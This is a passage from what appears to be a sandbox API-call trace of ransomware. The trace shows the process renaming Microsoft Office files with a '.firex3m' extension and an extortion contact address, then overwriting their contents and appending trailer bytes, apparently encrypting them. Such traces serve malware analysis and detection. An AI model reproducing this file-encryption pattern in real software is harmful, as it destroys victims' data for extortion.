ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x180a837b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x58a, dwReserved0=0xb847496, dwReserved1=0x6868d8, cFileName="ED00010_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ED0001~1.FIR")) returned 0x6d5580 [0137.732] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0137.732] Sleep (dwMilliseconds=0x1) [0137.737] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF", len=0x44 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 1 [0137.737] GetProcessHeap () returned 0x630000 [0137.737] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x671c18, Size=0x300) returned 0x671c18 [0137.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0137.738] CloseHandle (hObject=0x648) returned 1 [0137.738] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0137.738] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0137.739] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.739] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00222_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EN0022~1.FIR")) returned 0x6d4e40 [0137.739] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0137.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0137.739] GetProcessHeap () returned 0x630000 [0137.739] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3061) returned 0x722af58 [0137.739] GetProcessHeap () returned 0x630000 [0137.739] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3061) returned 0x6f11da8 [0137.740] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.740] ReadFile (in: hFile=0x648, lpBuffer=0x722af58, nNumberOfBytesToRead=0x3040, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x722af58*, lpNumberOfBytesRead=0x4abff0c*=0x3040, lpOverlapped=0x0) returned 1 [0139.445] GetProcessHeap () returned 0x630000 [0139.445] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318788 [0139.445] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.445] WriteFile (in: hFile=0x648, lpBuffer=0x6f11da8*, nNumberOfBytesToWrite=0x3040, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11da8*, lpNumberOfBytesWritten=0x4abff0c*=0x3040, lpOverlapped=0x0) returned 1 [0139.445] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.445] WriteFile (in: hFile=0x648, lpBuffer=0x6f14de7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f14de7*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0139.445] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.445] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0139.445] CloseHandle (hObject=0x648) returned 1 [0139.445] GetProcessHeap () returned 0x630000 [0139.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f11da8 | out: hHeap=0x630000) returned 1 [0139.446] GetProcessHeap () returned 0x630000 [0139.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722af58 | out: hHeap=0x630000) returned 1 [0139.446] GetProcessHeap () returned 0x630000 [0139.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318788 | out: hHeap=0x630000) returned 1 [0139.446] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.446] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1910c7a8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3068, dwReserved0=0xb847496, dwReserved1=0x722af50, cFileName="EN00222_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EN0022~1.FIR")) returned 0x6d5200 [0139.447] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0139.447] Sleep (dwMilliseconds=0x1) [0140.512] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms", len=0x55 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 1 [0140.512] GetProcessHeap () returned 0x630000 [0140.512] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c2c) returned 0x7203db8 [0140.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0142.636] CloseHandle (hObject=0x6a8) returned 1 [0142.637] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.692] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3fdcd93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3fdcd93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4180773, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d5d, dwReserved0=0x4708fdb2, dwReserved1=0x66002e, cFileName="HomeBusinessR_Retail2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEBU~2.FIR")) returned 0x6d5040 [0143.693] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0143.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0143.694] GetProcessHeap () returned 0x630000 [0143.694] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d61) returned 0x71f4f08 [0143.694] GetProcessHeap () returned 0x630000 [0143.694] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d61) returned 0x718938 [0143.694] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.694] ReadFile (in: hFile=0x6a8, lpBuffer=0x71f4f08, nNumberOfBytesToRead=0x2d40, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f4f08*, lpNumberOfBytesRead=0x4abff0c*=0x2d40, lpOverlapped=0x0) returned 1 [0145.212] GetProcessHeap () returned 0x630000 [0145.212] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176f70 [0145.212] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.212] WriteFile (in: hFile=0x6a8, lpBuffer=0x718938*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x718938*, lpNumberOfBytesWritten=0x4abff0c*=0x2d40, lpOverlapped=0x0) returned 1 [0145.858] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.858] WriteFile (in: hFile=0x6a8, lpBuffer=0x71b677*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b677*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.920] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.920] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.920] CloseHandle (hObject=0x6a8) returned 1 [0145.921] GetProcessHeap () returned 0x630000 [0145.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718938 | out: hHeap=0x630000) returned 1 [0145.921] GetProcessHeap () returned 0x630000 [0145.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f4f08 | out: hHeap=0x630000) returned 1 [0145.921] GetProcessHeap () returned 0x630000 [0145.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176f70 | out: hHeap=0x630000) returned 1 [0145.921] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3fdcd93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3fdcd93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1ced08ae, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d81, dwReserved0=0xb847496, dwReserved1=0x71f4f00, cFileName="HomeBusinessR_Retail2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEBU~2.FIR")) returned 0x6d5280 [0145.921] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0145.921] Sleep (dwMilliseconds=0x1) [0146.018] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS", len=0x3f | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS") returned 1 [0146.018] GetProcessHeap () returned 0x630000 [0146.018] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2774) returned 0x71f7c78 [0146.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.423] CloseHandle (hObject=0x708) returned 1 [0146.423] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.442] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.442] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46fe4fe, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASTEL.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PASTEL~1.FIR")) returned 0x6d5540 [0146.443] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0146.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pastel.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0146.443] GetProcessHeap () returned 0x630000 [0146.443] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x695ed0 [0146.443] GetProcessHeap () returned 0x630000 [0146.443] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x6faa008 [0146.443] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.443] ReadFile (in: hFile=0x69c, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xd60, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x4abff0c*=0xd60, lpOverlapped=0x0) returned 1 [0146.457] GetProcessHeap () returned 0x630000 [0146.457] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0146.457] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.457] WriteFile (in: hFile=0x69c, lpBuffer=0x6faa008*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faa008*, lpNumberOfBytesWritten=0x4abff0c*=0xd60, lpOverlapped=0x0) returned 1 [0146.457] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.457] WriteFile (in: hFile=0x69c, lpBuffer=0x6faad67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faad67*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.457] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.457] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.457] CloseHandle (hObject=0x69c) returned 1 [0146.457] GetProcessHeap () returned 0x630000 [0146.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faa008 | out: hHeap=0x630000) returned 1 [0146.457] GetProcessHeap () returned 0x630000 [0146.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0146.457] GetProcessHeap () returned 0x630000 [0146.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0146.458] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.458] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46fe4fe, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46fe4fe, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1d3e16b0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd9e, dwReserved0=0xb847496, dwReserved1=0x695ec8, cFileName="PASTEL.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PASTEL~1.FIR")) returned 0x6d5400 [0146.458] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0146.458] Sleep (dwMilliseconds=0x1) [0146.479] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS", len=0x3e | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS") returned 1 [0146.479] GetProcessHeap () returned 0x630000 [0146.479] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26ec) returned 0x71f7c78 [0146.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0146.496] CloseHandle (hObject=0x69c) returned 1 [0146.496] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.497] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.497] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f470, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSPUBH~1.FIR")) returned 0x6d5280 [0146.498] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0146.498] GetProcessHeap () returned 0x630000 [0146.498] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fdde40 [0146.498] GetProcessHeap () returned 0x630000 [0146.498] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ed88b0 [0146.499] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.499] ReadFile (in: hFile=0x69c, lpBuffer=0x6fdde40, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdde40*, lpNumberOfBytesRead=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.335] GetProcessHeap () returned 0x630000 [0153.335] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0153.335] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.335] WriteFile (in: hFile=0x69c, lpBuffer=0x6ed88b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed88b0*, lpNumberOfBytesWritten=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.336] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.336] WriteFile (in: hFile=0x69c, lpBuffer=0x6ee3caf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3caf*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0155.672] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.672] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0155.672] CloseHandle (hObject=0x69c) returned 1 [0155.673] GetProcessHeap () returned 0x630000 [0155.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, 